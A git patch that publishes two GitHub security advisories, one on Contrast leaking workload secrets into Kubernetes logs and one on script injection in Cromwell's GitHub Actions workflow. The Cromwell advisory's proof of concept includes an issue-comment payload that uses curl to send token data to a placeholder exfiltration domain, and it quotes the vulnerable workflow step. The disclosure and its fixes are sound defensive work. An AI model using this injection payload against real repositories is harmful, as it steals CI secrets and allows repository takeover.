From b1abae632587d85761d3529734917a25dcb0783c Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Wed, 28 May 2025 14:56:16 +0000 Subject: [PATCH] Publish Advisories GHSA-h5f8-crrq-4pw8 GHSA-phf6-hm3h-x8qp --- .../GHSA-h5f8-crrq-4pw8.json | 58 ++++++++++++++++++ .../GHSA-phf6-hm3h-x8qp.json | 59 +++++++++++++++++++ 2 files changed, 117 insertions(+) create mode 100644 advisories/github-reviewed/2025/05/GHSA-h5f8-crrq-4pw8/GHSA-h5f8-crrq-4pw8.json create mode 100644 advisories/github-reviewed/2025/05/GHSA-phf6-hm3h-x8qp/GHSA-phf6-hm3h-x8qp.json diff --git a/advisories/github-reviewed/2025/05/GHSA-h5f8-crrq-4pw8/GHSA-h5f8-crrq-4pw8.json b/advisories/github-reviewed/2025/05/GHSA-h5f8-crrq-4pw8/GHSA-h5f8-crrq-4pw8.json new file mode 100644 index 00000000000..f45a5dcfa64 --- /dev/null +++ b/advisories/github-reviewed/2025/05/GHSA-h5f8-crrq-4pw8/GHSA-h5f8-crrq-4pw8.json @@ -0,0 +1,58 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-h5f8-crrq-4pw8", + "modified": "2025-05-28T14:40:25Z", + "published": "2025-05-28T14:40:25Z", + "aliases": [], + "summary": "Contrast workload secrets leak to logs on INFO level", + "details": "### Impact\n\nWhen the Contrast initializer is configured with a `CONTRAST_LOG_LEVEL` of `info` or `debug`, the workload secret is logged to `stderr` and written to Kubernetes logs. \n\nSince `info` is the default setting, this affects all Contrast installations that don't customize their initializers' log level.\n\nThe following audiences are **intended** to have access to workload secrets (see https://docs.edgeless.systems/contrast/1.7/architecture/secrets#workload-secrets):\n\n* Contrast Coordinator (can derive all workload secrets)\n* Contrast Initializer (obtains only the secret configured in the manifest)\n* Seedshare owner (can derive all workload secrets)\n* Workload owner (can update manifests to obtain secrets)\n\nThis vulnerability allows the following parties **unintended access** to workload secrets issued by a Coordinator:\n\n* Kubernetes users with `get` or `list` permission on `pods/logs`.\n* Others with read access to the Kubernetes log storage (most notably, the cloud provider).\n\nThis vulnerability **does not affect** scenarios where workload secrets are not used by the application (directly or with [secure persistence](https://docs.edgeless.systems/contrast/1.7/architecture/secrets#secure-persistence)). Applications designed for workload owner exclusion can't use workload secrets and are thus unaffected.\n\n### Patches\n\nN/A\n\n### Workarounds\n\nThis vulnerability can be mitigated by adding an environment variable `CONTRAST_LOG_LEVEL=warn` to the initializer after running `contrast generate`, and then running `contrast generate` again.\n\n### References\n\nN/A", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/edgelesssys/contrast" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.8.1" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 1.8.0" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/edgelesssys/contrast/security/advisories/GHSA-h5f8-crrq-4pw8" + }, + { + "type": "PACKAGE", + "url": "https://github.com/edgelesssys/contrast" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-532" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2025-05-28T14:40:25Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2025/05/GHSA-phf6-hm3h-x8qp/GHSA-phf6-hm3h-x8qp.json b/advisories/github-reviewed/2025/05/GHSA-phf6-hm3h-x8qp/GHSA-phf6-hm3h-x8qp.json new file mode 100644 index 00000000000..e139da09147 --- /dev/null +++ b/advisories/github-reviewed/2025/05/GHSA-phf6-hm3h-x8qp/GHSA-phf6-hm3h-x8qp.json @@ -0,0 +1,59 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-phf6-hm3h-x8qp", + "modified": "2025-05-28T14:55:02Z", + "published": "2025-05-28T14:54:20Z", + "aliases": [], + "summary": "Cromwell GitHub Actions Secrets exfiltration via `Issue_comment`", + "details": "### Summary\nUsing `Issue_comment` on `.github/workflows/scalafmt-fix.yml` an attacker can inject malicious code using `github.event.comment.body`. By exploiting the vulnerability, it is possible to exfiltrate high privileged `GITHUB_TOKEN` which can be used to completely overtake the repo since the token has content privileges. In addition ,it is possible to exfiltrate also the secret:\n- `BROADBOT_GITHUB_TOKEN `\n\n### Details\nThe `Issue_comment` in GitHub Actions might be an injection path if the variable isn't handle as it should. In the following step it's vulnerable because it directly interpolates untrusted user input into a shell script.\n```\n - name: Check for ScalaFmt Comment\n id: check-comment\n run: |\n if [[ \"${{ github.event_name }}\" == \"issue_comment\" && \"${{ github.event.comment.body }}\" == *\"scalafmt\"* ]]; then\n echo \"::set-output name=comment-triggered::true\"\n else\n echo \"::set-output name=comment-triggered::false\"\n fi\n```\nIn this case, it is possible to exfiltrate `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secrets. \n\n### PoC\nTo exploit the vulnerability an attacker can just drop a comment to any issue formed in the following way to exploit the vulnerability in the workflow `.github/workflows/update_pylon_issue.yml`.\n```\ntest\" == \"test\" ]]; then\n & curl -s -d \"$B64_BLOB\" \"https://$YOUR_EXFIL_DOMAIN/token\" > /dev/null # \n```\nTo prove this is possible, we created an issue and we added a comment with the malicious code to extract the `GITHUB_TOKEN` and `BROADBOT_GITHUB_TOKEN` secret. With the `GITHUB_TOKEN` extracted we were able to push a new poc tag which has been deleted after a couple of minutes.\n\n\"Screenshot\n\n\n### Impact\nUsually with GITHUB_TOKEN and write permissions, an attacker is able to completely overtake the repo. \n```\nGITHUB_TOKEN Permissions\n Actions: write\n Attestations: write\n Checks: write\n Contents: write\n Deployments: write\n Discussions: write\n Issues: write\n Metadata: read\n Models: read\n Packages: write\n Pages: write\n PullRequests: write\n RepositoryProjects: write\n SecurityEvents: write\n Statuses: write\n```\nWe also checked `BROADBOT_GITHUB_TOKEN` permission to check if we could move laterally to org level. In this case the token seems scoped to this specific repo but it gives an attacker persistence without the need of a valid `GITHUB_TOKEN`.\nWe suggest to rotate the `BROADBOT_GITHUB_TOKEN` token asap.\n\n### Fix\n\n- Avoid directly interpolating untrusted user input into a shell script. Use GitHub Actions input context safely like:\n\n```\n- name: Dump comment\n run: echo \"Comment Body: $BODY\"\n env:\n BODY: ${{ github.event.comment.body }}\n```\nThis safely passes the comment as an environment variable rather than interpolating it in-place.\n\n- Scope GIHTUB_TOKEN permissions to just what the actions needs to do. In this case, if it's specific for issues:\n```\npermissions:\n issues: write\n```\n\nKindly reported by @darryk10 @AlbertoPellitteri @loresuso", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "GitHub Actions", + "name": "broadinstitute/cromwell" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "87" + }, + { + "fixed": "90" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/broadinstitute/cromwell/security/advisories/GHSA-phf6-hm3h-x8qp" + }, + { + "type": "WEB", + "url": "https://github.com/broadinstitute/cromwell/commit/dc2c26abd31149e296f73ce4e43a36c0c0317b0d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/broadinstitute/cromwell" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-78" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2025-05-28T14:54:20Z", + "nvd_published_at": null + } +} \ No newline at end of file